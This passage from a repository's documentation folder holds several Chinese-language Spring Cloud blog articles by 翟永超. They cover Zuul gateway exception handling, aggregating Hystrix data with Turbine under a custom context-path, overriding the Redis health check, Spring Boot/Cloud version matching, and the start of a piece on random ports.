{\n        return \"error\";\n    }\n\n    @Override\n    public int filterOrder() {\n        return 10;\n    }\n\n    @Override\n    public boolean shouldFilter() {\n        return true;\n    }\n\n    @Override\n    public Object run() {\n        RequestContext ctx = RequestContext.getCurrentContext();\n        Throwable throwable = ctx.getThrowable();\n        log.error(\"this is a ErrorFilter : {}\", throwable.getCause().getMessage());\n        ctx.set(\"error.status_code\", HttpServletResponse.SC_INTERNAL_SERVER_ERROR);\n        ctx.set(\"error.exception\", throwable.getCause());\n        return null;\n    }\n\n}\n```\n\n在将该过滤器加入到我们的API网关服务之后，我们可以尝试使用之前介绍`try-catch`处理时实现的`ThrowExceptionFilter`（不包含异常处理机制的代码），让该过滤器能够抛出异常。这个时候我们再通过API网关来访问服务接口。此时，我们就可以在控制台中看到`ThrowExceptionFilter`过滤器抛出的异常信息，并且请求响应中也能获得如下的错误信息内容，而不是什么信息都没有的情况了。\n\n```\n{\n  \"timestamp\": 1481674993561,\n  \"status\": 500,\n  \"error\": \"Internal Server Error\",\n  \"exception\": \"java.lang.RuntimeException\",\n  \"message\": \"Exist some errors...\"\n}\n```\n\n**本文节选自《Spring Cloud微服务实战》，部分稍做加工，转载请注明出处**\n\n------\n\n**相关阅读**\n\n- [《Spring Cloud实战小贴士：Zuul统一异常处理（二）》](http://blog.didispace.com/spring-cloud-zuul-exception-2/)\n- [《Spring Cloud源码分析（四）Zuul：核心过滤器》](http://blog.didispace.com/spring-cloud-source-zuul/)\n- [《Spring Cloud实战小贴士：Zuul处理Cookie和重定向》](http://blog.didispace.com/spring-cloud-zuul-cookie-redirect/)\n- [《Spring Cloud构建微服务架构（五）服务网关》](http://blog.didispace.com/springcloud5/)"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Zuul统一异常处理（三）【Dalston版】.md",
    "content": "# Spring Cloud实战小贴士：Zuul统一异常处理（三）【Dalston版】\n\n**原创**\n\n [2017-07-28](https://blog.didispace.com/spring-cloud-zuul-exception-3/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 本篇作为《Spring Cloud微服务实战》一书关于Spring Cloud Zuul网关在Dalston版本对异常处理的补充。没有看过本书的读书也不要紧，可以先阅读我之前的两篇博文：[《Spring Cloud实战小贴士：Zuul统一异常处理（一）》](http://blog.didispace.com/spring-cloud-zuul-exception-1/)和[《Spring Cloud实战小贴士：Zuul统一异常处理（二）》](http://blog.didispace.com/spring-cloud-zuul-exception-2/)，这两篇文章都详细介绍和分析了Spring Cloud Zuul在过滤器设计中对异常处理的不足。同时，在这两篇文章中，也针对不足之处做了相应的解决方案。不过，这些方案都是基于Brixton版本所做的，在最新的Dalston版本中，Spring Cloud Zuul做了一些优化，所以我们不再需要做这些扩展就已经能够正确的处理异常信息了。那么，在Dalston版中，Spring Cloud Zuul中做了怎么样的修改以达到之前我们自己扩展的效果呢？\n\n## 过滤器类型的变更\n\n读者是否还记得我们之前分析了Spring Cloud Zuul自带的核心过滤器有哪些呢？我们先根据下图回忆一下：\n\n[![img](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-1.png)](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-1.png)\n\n这次主要将`SendErrorFilter`过滤器的类型从`POST`改为了`ERROR`，所以核心过滤器变成了如下图的结构：\n\n[![img](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-2.png)](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-2.png)\n\n## 处理逻辑的变化\n\n既然过滤器类型发生了变化，那么请求的处理生命周期就会有所变化。在变化之前，各阶段过滤器的流转如下图所示：\n\n[![img](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-3.png)](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-3.png)\n\n针对异常情况，在图中我们标出了不同的颜色。从pre和route阶段抛出的异常将会进入error阶段，再进入到post阶段进行返回。由于SendErrorFilter需要判断请求上下文中是否包含`error.status_code`属性：有的话就用SendErrorFilter处理错误结果；没有的话就用SendResponseFilter返回正常结果，但是`error.status_code`属性默认是在各个阶段过滤器中自己put进去的，这就导致，各个阶段过滤器抛出异常之后，是没有办法返回错误结果的。因此，我们扩展了一个ErrorFilter来捕获异常，然后手工的设置`error.status_code`属性，让SendErrorFilter能正常运作。\n\n通过上面你的改造，从pre和route阶段的异常都能处理了，但是post阶段抛出异常后，是不会再进入post阶段的，这使得ErrorFilter设置了设置`error.status_code`属性之后，也没有过滤器去组织返回结果，所以我们通过继承SendErrorFilter在error阶段增加了一个返回错误信息的过滤器。\n\n而这次在Dalston版本中，做了很巧妙的变动：就是上文所述的对SendErrorFilter过滤器类型的变更，这一变动使得所有阶段的异常都会被SendErrorFilter处理，直接解决的上面的第二个问题。当然只是做个变动还是不够的，为了区分SendErrorFilter和SendResponseFitler分别处理出现异常和未出现异常的情况，修改原来根据`error.status_code`属性判断的逻辑，而是改为根据请求上下文中是否包含Throwable来作为基本依据，而这个对象是在过滤器出现异常之后，Zuul往请求上下文中置入的，所以可以更为准确的判断当前请求处理是否出现了异常，而不再需要我们之前扩展的ErrorFilter了。\n\n```\npublic class SendErrorFilter extends ZuulFilter {\t\n\t@Override\n\tpublic boolean shouldFilter() {\n\t\tRequestContext ctx = RequestContext.getCurrentContext();\n\t\treturn ctx.containsKey(\"error.status_code\")\n\t\t\t\t&& !ctx.getBoolean(SEND_ERROR_FILTER_RAN, false);\n\t}\n\t...\n}\n\npublic class SendResponseFilter extends ZuulFilter {\n\t@Override\n\tpublic boolean shouldFilter() {\n\t\tRequestContext context = RequestContext.getCurrentContext();\n\t\treturn context.getThrowable() == null\n\t\t\t&& (!context.getZuulResponseHeaders().isEmpty()\n\t\t\t\t|| context.getResponseDataStream() != null\n\t\t\t\t|| context.getResponseBody() != null);\n\t}\n\t...\n}\n```\n\n所以，最后修改之后，整个处理逻辑变为如下图所示的流程：\n\n[![img](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-4.png)](https://blog.didispace.com/content/images/posts/spring-cloud-zuul-exception-3-4.png)\n\n## 推荐阅读\n\n- [Spring Cloud构建微服务架构：服务注册与发现（Eureka、Consul）](http://blog.didispace.com/spring-cloud-starter-dalston-1/)\n- [Spring Cloud构建微服务架构：服务消费者（基础）](http://blog.didispace.com/spring-cloud-starter-dalston-2-1/)\n- [Spring Cloud构建微服务架构：服务消费者（Ribbon）](http://blog.didispace.com/spring-cloud-starter-dalston-2-2/)\n- [Spring Cloud构建微服务架构：服务消费者（Feign）](http://blog.didispace.com/spring-cloud-starter-dalston-2-3/)\n- [Spring Cloud构建微服务架构：分布式配置中心](http://blog.didispace.com/spring-cloud-starter-dalston-3)\n- [Spring Cloud构建微服务架构：服务容错保护（hystrix服务降级）](http://blog.didispace.com/spring-cloud-starter-dalston-4-1)\n- [Spring Cloud构建微服务架构：服务容错保护（hystrix依赖隔离）](http://blog.didispace.com/spring-cloud-starter-dalston-4-2)\n- [Spring Cloud构建微服务架构：服务容错保护（hystrix断路器）](http://blog.didispace.com/spring-cloud-starter-dalston-4-3)\n- [Spring Cloud构建微服务架构：Hystrix监控面板](http://blog.didispace.com/spring-cloud-starter-dalston-5-1)\n- [Spring Cloud构建微服务架构：Hystrix监控数据聚合](http://blog.didispace.com/spring-cloud-starter-dalston-5-2)\n- [更多Spring Cloud内容…](http://blog.didispace.com/Spring-Cloud基础教程/)"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：Zuul统一异常处理（二）.md",
    "content": "# Spring Cloud实战小贴士：Zuul统一异常处理（二）\n\n**原创**\n\n [2017-05-18](https://blog.didispace.com/spring-cloud-zuul-exception-2/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n在前几天发布的[《Spring Cloud实战小贴士：Zuul统一异常处理（一）》](http://blog.didispace.com/spring-cloud-zuul-exception/)一文中，我们详细说明了当Zuul的过滤器中抛出异常时会发生客户端没有返回任何内容的问题以及针对这个问题的两种解决方案：一种是通过在各个阶段的过滤器中增加`try-catch`块，实现过滤器内部的异常处理；另一种是利用`error`类型过滤器的生命周期特性，集中地处理`pre`、`route`、`post`阶段抛出的异常信息。通常情况下，我们可以将这两种手段同时使用，其中第一种是对开发人员的基本要求；而第二种是对第一种处理方式的补充，以防止一些意外情况的发生。这样的异常处理机制看似已经完美，但是如果在多一些应用实践或源码分析之后，我们会发现依然存在一些不足。\n\n## 不足之处\n\n下面，我们不妨跟着源码来看看，到底上面的方案还有哪些不足之处需要我们注意和进一步优化的。先来看看外部请求到达API网关服务之后，各个阶段的过滤器是如何进行调度的：\n\n```\ntry {\n    preRoute();\n} catch (ZuulException e) {\n    error(e);\n    postRoute();\n    return;\n}\ntry {\n    route();\n} catch (ZuulException e) {\n    error(e);\n    postRoute();\n    return;\n}\ntry {\n    postRoute();\n} catch (ZuulException e) {\n    error(e);\n    return;\n}\n```\n\n上面代码源自`com.netflix.zuul.http.ZuulServlet`的`service`方法实现，它定义了Zuul处理外部请求过程时，各个类型过滤器的执行逻辑。从代码中我们可以看到三个`try-catch`块，它们依次分别代表了`pre`、`route`、`post`三个阶段的过滤器调用，在`catch`的异常处理中我们可以看到它们都会被`error`类型的过滤器进行处理（之前使用`error`过滤器来定义统一的异常处理也正是利用了这个特性）；`error`类型的过滤器处理完毕之后，除了来自`post`阶段的异常之外，都会再被`post`过滤器进行处理。而对于从`post`过滤器中抛出异常的情况，在经过了`error`过滤器处理之后，就没有其他类型的过滤器来接手了，这就是使用之前所述方案存在不足之处的根源。\n\n## 问题分析与进一步优化\n\n回想一下之前实现的两种异常处理方法，其中非常核心的一点，这两种处理方法都在异常处理时候往请求上下文中添加了一系列的`error.*`参数，而这些参数真正起作用的地方是在`post`阶段的`SendErrorFilter`，在该过滤器中会使用这些参数来组织内容返回给客户端。而对于`post`阶段抛出异常的情况下，由`error`过滤器处理之后并不会在调用`post`阶段的请求，自然这些`error.*`参数也就不会被`SendErrorFilter`消费输出。所以，如果我们在自定义`post`过滤器的时候，没有正确的处理异常，就依然有可能出现日志中没有异常并且请求响应内容为空的问题。我们可以通过修改之前`ThrowExceptionFilter`的`filterType`修改为`post`来验证这个问题的存在，注意去掉`try-catch`块的处理，让它能够抛出异常。\n\n解决上述问题的方法有很多种，比如最直接的我们可以在实现`error`过滤器的时候，直接来组织结果返回就能实现效果，但是这样的缺点也很明显，对于错误信息组织和返回的代码实现就会存在多份，这样非常不易于我们日后的代码维护工作。所以为了保持对异常返回处理逻辑的一致，我们还是希望将`post`过滤器抛出的异常能够交给`SendErrorFilter`来处理。\n\n在前文中，我们已经实现了一个`ErrorFilter`来捕获`pre`、`route`、`post`过滤器抛出的异常，并组织`error.*`参数保存到请求的上下文中。由于我们的目标是沿用`SendErrorFilter`，这些`error.*`参数依然对我们有用，所以我们可以继续沿用该过滤器，让它在`post`过滤器抛出异常的时候，继续组织`error.*`参数，只是这里我们已经无法将这些`error.*`参数再传递给`SendErrorFitler`过滤器来处理了。所以，我们需要在`ErrorFilter`过滤器之后再定义一个`error`类型的过滤器，让它来实现`SendErrorFilter`的功能，但是这个`error`过滤器并不需要处理所有出现异常的情况，它仅对`post`过滤器抛出的异常才有效。根据上面的思路，我们完全可以创建一个继承自`SendErrorFilter`的过滤器，就能复用它的`run`方法，然后重写它的类型、顺序以及执行条件，实现对原有逻辑的复用，具体实现如下：\n\n```\n@Component\npublic class ErrorExtFilter extends SendErrorFilter {\n\n    @Override\n    public String filterType() {\n        return \"error\";\n    }\n\n    @Override\n    public int filterOrder() {\n        return 30;\t// 大于ErrorFilter的值\n    }\n\n    @Override\n    public boolean shouldFilter() {\n        // TODO 判断：仅处理来自post过滤器引起的异常\n        return true;\n    }\n\n}\n```\n\n到这里，我们在过滤器调度上的实现思路已经很清晰了，但是又有一个问题出现在我们面前：怎么判断引起异常的过滤器是来自什么阶段呢？（`shouldFilter`方法该如何实现）对于这个问题，我们第一反应会寄希望于请求上下文`RequestContext`对象，可是在查阅文档和源码后发现其中并没有存储异常来源的内容，所以我们不得不扩展原来的过滤器处理逻辑，当有异常抛出的时候，记录下抛出异常的过滤器，这样我们就可以在`ErrorExtFilter`过滤器的`shouldFilter`方法中获取并以此判断异常是否来自`post`阶段的过滤器了。\n\n为了扩展过滤器的处理逻辑，为请求上下文增加一些自定义属性，我们需要深入了解一下Zuul过滤器的核心处理器：`com.netflix.zuul.FilterProcessor`。该类中定义了下面过滤器调用和处理相关的核心方法：\n\n- `getInstance()`：该方法用来获取当前处理器的实例\n- `setProcessor(FilterProcessor processor)`：该方法用来设置处理器实例，可以使用此方法来设置自定义的处理器\n- `processZuulFilter(ZuulFilter filter)`：该方法定义了用来执行`filter`的具体逻辑，包括对请求上下文的设置，判断是否应该执行，执行时一些异常处理等\n- `getFiltersByType(String filterType)`：该方法用来根据传入的`filterType`获取API网关中对应类型的过滤器，并根据这些过滤器的`filterOrder`从小到大排序，组织成一个列表返回\n- `runFilters(String sType)`：该方法会根据传入的`filterType`来调用`getFiltersByType(String filterType)`获取排序后的过滤器列表，然后轮询这些过滤器，并调用`processZuulFilter(ZuulFilter filter)`来依次执行它们\n- `preRoute()`：调用`runFilters(\"pre\")`来执行所有`pre`类型的过滤器\n- `route()`：调用`runFilters(\"route\")`来执行所有`route`类型的过滤器\n- `postRoute()`：调用`runFilters(\"post\")`来执行所有`post`类型的过滤器\n- `error()`：调用`runFilters(\"error\")`来执行所有`error`类型的过滤器\n\n根据我们之前的设计，我们可以直接通过扩展`processZuulFilter(ZuulFilter filter)`方法，当过滤器执行抛出异常的时候，我们捕获它，并往请求上下中记录一些信息。比如下面的具体实现：\n\n```\npublic class DidiFilterProcessor extends FilterProcessor {\n\n    @Override\n    public Object processZuulFilter(ZuulFilter filter) throws ZuulException {\n        try {\n            return super.processZuulFilter(filter);\n        } catch (ZuulException e) {\n            RequestContext ctx = RequestContext.getCurrentContext();\n            ctx.set(\"failed.filter\", filter);\n            throw e;\n        }\n    }\n\n}\n```\n\n在上面代码的实现中，我们创建了一个`FilterProcessor`的子类，并重写了`processZuulFilter(ZuulFilter filter)`，虽然主逻辑依然使用了父类的实现，但是在最外层，我们为其增加了异常捕获，并在异常处理中为请求上下文添加了`failed.filter`属性，以存储抛出异常的过滤器实例。在实现了这个扩展之后，我们也就可以完善之前`ErrorExtFilter`中的`shouldFilter()`方法，通过从请求上下文中获取该信息作出正确的判断，具体实现如下：\n\n```\n@Component\npublic class ErrorExtFilter extends SendErrorFilter {\n\n    @Override\n    public String filterType() {\n        return \"error\";\n    }\n\n    @Override\n    public int filterOrder() {\n        return 30;\t// 大于ErrorFilter的值\n    }\n\n    @Override\n    public boolean shouldFilter() {\n        // 判断：仅处理来自post过滤器引起的异常\n        RequestContext ctx = RequestContext.getCurrentContext();\n        ZuulFilter failedFilter = (ZuulFilter) ctx.get(\"failed.filter\");\n        if(failedFilter != null && failedFilter.filterType().equals(\"post\")) {\n            return true;\n        }\n        return false;\n    }\n\n}\n```\n\n到这里，我们的优化任务还没有完成，因为扩展的过滤器处理类并还没有生效。最后，我们需要在应用主类中，通过调用`FilterProcessor.setProcessor(new DidiFilterProcessor());`方法来启用自定义的核心处理器以完成我们的优化目标。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：turbine如何聚合设置了context-path的hystrix数据.md",
    "content": "# Spring Cloud实战小贴士：turbine如何聚合设置了context-path的hystrix数据\n\n**原创**\n\n [2017-07-25](https://blog.didispace.com/spring-cloud-tips-4/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n之前在[spring for all社区](http://spring4all.com/)看到这样一个问题：当actuator端点设置了context-path之后，turbine如何聚合数据？首先，我们要知道actuator端点设置了context-path是什么意思？也就是说，此时spring boot actuator的端点都有了一个前缀，比如：\n\n```\nmanagement.context-path=/xxx\n```\n\n如果设置了上面的参数，那个对于收集hystrix数据的端点将变为：`/xxx/hystrix.stream`，如果我们还是拿上一篇[Spring Cloud构建微服务架构：Hystrix监控数据聚合【Dalston版】](http://blog.didispace.com/spring-cloud-starter-dalston-5-2/)中构建你的turbine应用，那么将会看到如下错误：\n\n```\nINFO 7812 --- [        Timer-0] c.n.t.monitor.instance.InstanceMonitor   : Url for host: http://172.15.0.18:9020/hystrix.stream default\nERROR 7812 --- [InstanceMonitor] c.n.t.monitor.instance.InstanceMonitor   : Could not initiate connection to host, giving up: [{\"timestamp\":1499941336284,\"status\":404,\"error\":\"Not Found\",\"message\":\"No message available\",\"path\":\"/hystrix.stream\"}]\nWARN 7812 --- [InstanceMonitor] c.n.t.monitor.instance.InstanceMonitor   : Stopping InstanceMonitor for: 172.15.0.18:9020 default\n\ncom.netflix.turbine.monitor.instance.InstanceMonitor$MisconfiguredHostException: [{\"timestamp\":1499941336284,\"status\":404,\"error\":\"Not Found\",\"message\":\"No message available\",\"path\":\"/hystrix.stream\"}]\n\tat com.netflix.turbine.monitor.instance.InstanceMonitor.init(InstanceMonitor.java:318) ~[turbine-core-1.0.0.jar:na]\n\tat com.netflix.turbine.monitor.instance.InstanceMonitor.access$100(InstanceMonitor.java:103) ~[turbine-core-1.0.0.jar:na]\n\tat com.netflix.turbine.monitor.instance.InstanceMonitor$2.call(InstanceMonitor.java:235) [turbine-core-1.0.0.jar:na]\n\tat com.netflix.turbine.monitor.instance.InstanceMonitor$2.call(InstanceMonitor.java:229) [turbine-core-1.0.0.jar:na]\n\tat java.util.concurrent.FutureTask.run(FutureTask.java:266) [na:1.8.0_91]\n\tat java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142) [na:1.8.0_91]\n\tat java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617) [na:1.8.0_91]\n\tat java.lang.Thread.run(Thread.java:745) [na:1.8.0_91]\n```\n\n从上述错误中我们可以知道，turbine在收集的时候由于访问的是`/hystrix.stream`，而此时收集端点却是`/xxx/hystrix.stream`，所以报了404错误。\n\n那么我们要如何解决呢？通过之前的配置内容，我们可能找不到相关的配置信息，所以只能遍历一下源码，最后找到这个类：`org.springframework.cloud.netflix.turbine.SpringClusterMonitor`。它的具体内容如下：\n\n```\npublic static InstanceUrlClosure ClusterConfigBasedUrlClosure = new InstanceUrlClosure() {\n\n\tprivate final DynamicStringProperty defaultUrlClosureConfig = DynamicPropertyFactory\n\t\t\t    .getInstance().getStringProperty(\"turbine.instanceUrlSuffix\",\n\t\t\t\t    \t\"hystrix.stream\");\n\tprivate final DynamicBooleanProperty instanceInsertPort = DynamicPropertyFactory\n\t\t\t\t.getInstance().getBooleanProperty(\"turbine.instanceInsertPort\", true);\n\n\t@Override\n\tpublic String getUrlPath(Instance host) {\n\t\tif (host.getCluster() == null) {\n\t\t\tthrow new RuntimeException(\n\t\t\t\t\t\"Host must have cluster name in order to use ClusterConfigBasedUrlClosure\");\n\t\t}\n\n\t\t// find url\n\t\tString key = \"turbine.instanceUrlSuffix.\" + host.getCluster();\n\t\tDynamicStringProperty urlClosureConfig = DynamicPropertyFactory.getInstance()\n\t\t\t\t\t.getStringProperty(key, null);\n\t\tString url = urlClosureConfig.get();\n\t\tif (url == null) {\n\t\t\turl = this.defaultUrlClosureConfig.get();\n\t\t}\n\t\tif (url == null) {\n\t\t\tthrow new RuntimeException(\"Config property: \"\n\t\t\t\t\t+ urlClosureConfig.getName() + \" or \"\n\t\t\t\t\t+ this.defaultUrlClosureConfig.getName() + \" must be set\");\n\t\t}\n\n\t\t// find port and scheme\n\t\tString port;\n\t\tString scheme;\n\t\tif (host.getAttributes().containsKey(\"securePort\")) {\n\t\t\tport = host.getAttributes().get(\"securePort\");\n\t\t\tscheme = \"https\";\n\t\t} else {\n\t\t\tport = host.getAttributes().get(\"port\");\n\t\t\tscheme = \"http\";\n\t\t}\n\t\tif (host.getAttributes().containsKey(\"fusedHostPort\")) {\n\t\t\treturn String.format(\"%s://%s/%s\", scheme, host.getAttributes().get(\"fusedHostPort\"), url);\n\t\t}\n\n\t\t// determine if to insert port\n\t\tString insertPortKey = \"turbine.instanceInsertPort.\" + host.getCluster();\n\t\tDynamicStringProperty insertPortProp = DynamicPropertyFactory.getInstance()\n\t\t\t\t\t.getStringProperty(insertPortKey, null);\n\t\tboolean insertPort;\n\t\tif (insertPortProp.get() == null) {\n\t\t\tinsertPort = this.instanceInsertPort.get();\n\t\t}\n\t\telse {\n\t\t\tinsertPort = Boolean.parseBoolean(insertPortProp.get());\n\t\t}\n\n\t\t// format url with port\n\t\tif (insertPort) {\n\t\t\tif (url.startsWith(\"/\")) {\n\t\t\t\turl = url.substring(1);\n\t\t\t}\n\t\t\tif (port == null) {\n\t\t\t\tthrow new RuntimeException(\n\t\t\t\t\t\t\"Configured to use port, but port or securePort is not in host attributes\");\n\t\t\t}\n\n\t\t\treturn String.format(\"%s://%s:%s/%s\", scheme, host.getHostname(), port, url);\n\t\t}\n\n\t\t//format url without port\n\t\treturn scheme + \"://\" + host.getHostname() + url;\n\t}\n};\n```\n\n从上述源码中，我们可以找到这个参数`turbine.instanceUrlSuffix`，由此该问题就迎刃而解了，我们只需要在turbine应用的配置文件中增加如下配置信息，就能正确的收集之前配置了`management.context-path=/xxx`的微服务的hystrix数据了。\n\n```\nturbine.instanceUrlSuffix=/xxx/hystrix.stream\n```"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：健康检查.md",
    "content": "# Spring Cloud实战小贴士：健康检查\n\n**原创**\n\n [2017-04-22](https://blog.didispace.com/spring-cloud-tips-3/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n今天在博客的交流区收到一条不错的问题，拿出来给大家分享一下。具体问题如下：\n\n> 因为项目里面用到了redis集群，但并不是用spring boot的配置方式，启动后项目健康检查老是检查redis的时候状态为down，导致注册到eureka后项目状态也是down。\n> 问下能不能设置spring boot不检查 redis的健康状态\n\n```\n\"redis\": { \n    \"status\": \"DOWN\", \n    \"error\": \"org.springframework.data.redis.RedisConnectionFailureException: Cannot get Jedis connection; nested exception is redis.clients.jedis.exceptions.JedisConnectionException: Could not get a resource from the pool\" \n}\n```\n\n问题原帖可[点击此处](http://qa.didispace.com/?/question/7)跳转！\n\n## 原因分析\n\n如提问者所述，由于在Spring Boot项目中引用了Redis模块，所以Spring Boot Actuator会对其进行健康检查，正常情况下不会出现问题，但是由于采用了其他配置方式，导致redis的连接检查没有通过。这样就会导致了Consul或Eureka的HealthCheck认为该服务是DOWN状态。\n\n那么redis的健康检查是如何实现的呢？我们不妨来看看健康检查的自动化配置中针对redis的配置源码：\n\n```\n@Configuration\n@ConditionalOnBean(RedisConnectionFactory.class)\n@ConditionalOnEnabledHealthIndicator(\"redis\")\npublic static class RedisHealthIndicatorConfiguration extends\n\t\tCompositeHealthIndicatorConfiguration<RedisHealthIndicator, RedisConnectionFactory> {\n\n\t@Autowired\n\tprivate Map<String, RedisConnectionFactory> redisConnectionFactories;\n\n\t@Bean\n\t@ConditionalOnMissingBean(name = \"redisHealthIndicator\")\n\tpublic HealthIndicator redisHealthIndicator() {\n\t\treturn createHealthIndicator(this.redisConnectionFactories);\n\t}\n\n}\n```\n\n以上内容取自：`org.springframework.boot.actuate.autoconfigure.HealthIndicatorAutoConfiguration`类。从自动化配置中我们可以看到，会自动加载一个针对redis的`HealthIndicator`实现，并且该Bean命名为`redisHealthIndicator`。\n\n## 解决方法\n\n通过上面的分析，我们已经知道了是哪个Bean导致了服务实例的健康检查不通过，那么如何解决该问题的方法也就马上能想到了：我们只需要再实现一个redis的`HealthIndicator`实现来替代原先默认的检查逻辑。比如：\n\n```\n@Component\npublic class RedisHealthIndicator implements HealthIndicator {\n\n    @Override\n    public Health health() {\n        return Health.up().build();\n    }\n    \n}\n```\n\n上面通过实现`HealthIndicator`接口中的health方法，直接返回了up状态。通过`@Component`注解，让Spring Boot扫描到该类就能自动的进行加载，并覆盖原来的redis健康检查实现。当然，这里的实现并不好，因为它只是为了让健康检查可以通过，但是并没有做真正的健康检查。如提问者所说，采用了其他配置访问，那么正确的做法就是在`health`方法中实现针对其他配置的内容进行健康检查。\n\n**注意：这里隐含了一个实现命名的问题，由于默认的bean名称会使用`redisHealthIndicator`，所以这里的定义可以替换默认的实现，因为它的名字与`@ConditionalOnMissingBean(name = \"redisHealthIndicator\")`中的命名一致。但是如果您自定义的实现类并非叫`RedisHealthIndicator`，它的默认名称与自动化配置的名称是不匹配的，那么就不会替换，这个时候需要在`@Component`注解中指定该Bean的名称为`redisHealthIndicator`**。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：版本依赖关系.md",
    "content": "# Spring Cloud实战小贴士：版本依赖关系\n\n**原创**\n\n [2017-01-23](https://blog.didispace.com/spring-cloud-tips-1/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n去年在博客上连载了[《Spring Cloud构建微服务架构》](http://blog.didispace.com/categories/Spring-Cloud/)的系列博文，虽然这部分内容得到了不少关注者们的支持，但是不得不说这些内容只是适用于Spring Cloud入门阶段对各个组件的初步认识。所以，今年除了将会继续更新《Spring Cloud构建微服务架构》系列的连载之外，准备再开一个新系列：《SpringCloud实战小贴士》，该系列文章内容将会聚焦在下面三个点上：\n\n- 常见问题的解析\n- 构建使用的技巧\n- 实战设计的思考\n\n## 开篇：Spring Cloud的版本依赖关系\n\n之前在[《聊聊Spring Cloud版本的那些事儿》](http://blog.didispace.com/springcloud-version/)一文中，我们已经介绍了Spring Cloud版本命名的由来以及版本号的规则，并列举了各个版本的依赖内容，以帮助我们选择合适的版本进行微服务实践。\n\n由于Spring Cloud的发展速度非常快，版本的更新非常频繁，同时成体系化的中文文档与教程又比较缺乏，所以很多初学者在搜索了网上的文章进行Spring Cloud的初次尝试时，经常会因为没有关注它的版本依赖关系而引发一些问题。比如平时被问最多的一个问题，在使用Feign的时候为什么报了如下错误：\n\n```\norg.springframework.core.annotation.AnnotationConfigurationException: Attribute 'value' in annotation [org.springframework.cloud.netflix.feign.FeignClient] must be declared as an @AliasFor [serviceId], not [name].\n```\n\n由于《Spring Cloud构建微服务架构》系列博文的例子都采用了Brixton版本，在介绍[《Spring Cloud构建微服务架构（二）服务消费者》](http://blog.didispace.com/springcloud2/)中的Feign时候也使用了它，而该版本的基础Spring Boot版本是1.3.x，很多初学者可能因为一些原因，比如：现有应用使用Spring Boot 1.4.x实现或者自身喜欢紧跟潮流，这个时候就会出现上面的问题。\n\n所以，我们在选择Spring Boot与Spring Cloud版本的时候，还是需要尽可能的按照Spring Cloud官方版本依赖关系来使用：\n\n- Angel版本对应Spring Boot 1.2.x\n- Brixton版本对应Spring Boot 1.3.x\n- Camden版本对应Spring Boot 1.4.x\n\n就个人而言，推荐使用目前最新的Camden版本与Spring Boot 1.4.x的组合。首先，不光光是Spring Boot版本提升带来的一些新功能，另外也由于Spring Cloud的组件版本也有提升，比如Brixton版本中的Spring Cloud Netflix采用了1.1.x，而Camden中采用了1.2.x，这两个版本之间还有不少区别的，在1.2.x中提供了更多实用功能，比如：之前在[《为Spring Cloud Ribbon配置请求重试（Camden.SR2+）》](http://blog.didispace.com/spring-cloud-ribbon-failed-retry/)一文中提到的RestTemplate的请求重试、关于Zuul的一些头信息优化等。"
  },
  {
    "path": "jun_springcloud_plugin/doc/Spring Cloud实战小贴士：随机端口.md",
    "content": "# Spring Cloud实战小贴士：随机端口\n\n**原创**\n\n [2017-03-25](https://blog.didispace.com/spring-cloud-tips-2/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 太久没有更新，一时不知道该从哪儿开始，索性就从一个小技巧开始吧。\n\n在之前的《Spring Cloud构建微服务架构》系列博文中，我们经常会需要启动多个实例的情况来测试注册中心、配置中心等基础设施的高可用，也会用来测试客户端负载均衡的调用等。但是，我们一个应用只能有一个端口号，这就使得在本机测试的时候，不得不为同一个服务设置不同的端口来进行启动。\n\n在本地用不同端口启动同一服务实例的方法有很多。最传统的我们可以粗暴地修改配置文件中的`server.port`属性来分别启动多个实例，这种方法虽然可以实现，但是非常的不方便。比较好的一种方法是在启动的时候通过命令的方式为`server.port`属性来设置不同的值，这样我们的配置文件就不用反复的进行修改了。\n\n在本文中，我们将介绍另外一种方法：采用随机端口的方式来设置各个服务实例，这样我们不用去编辑任何命令就可以在本地轻松地启动多个实例了。\n\n### 使用随机端口\n\n为Spring Cloud的应用实用随机端口非常简单，主要有两种方法：\n\n- 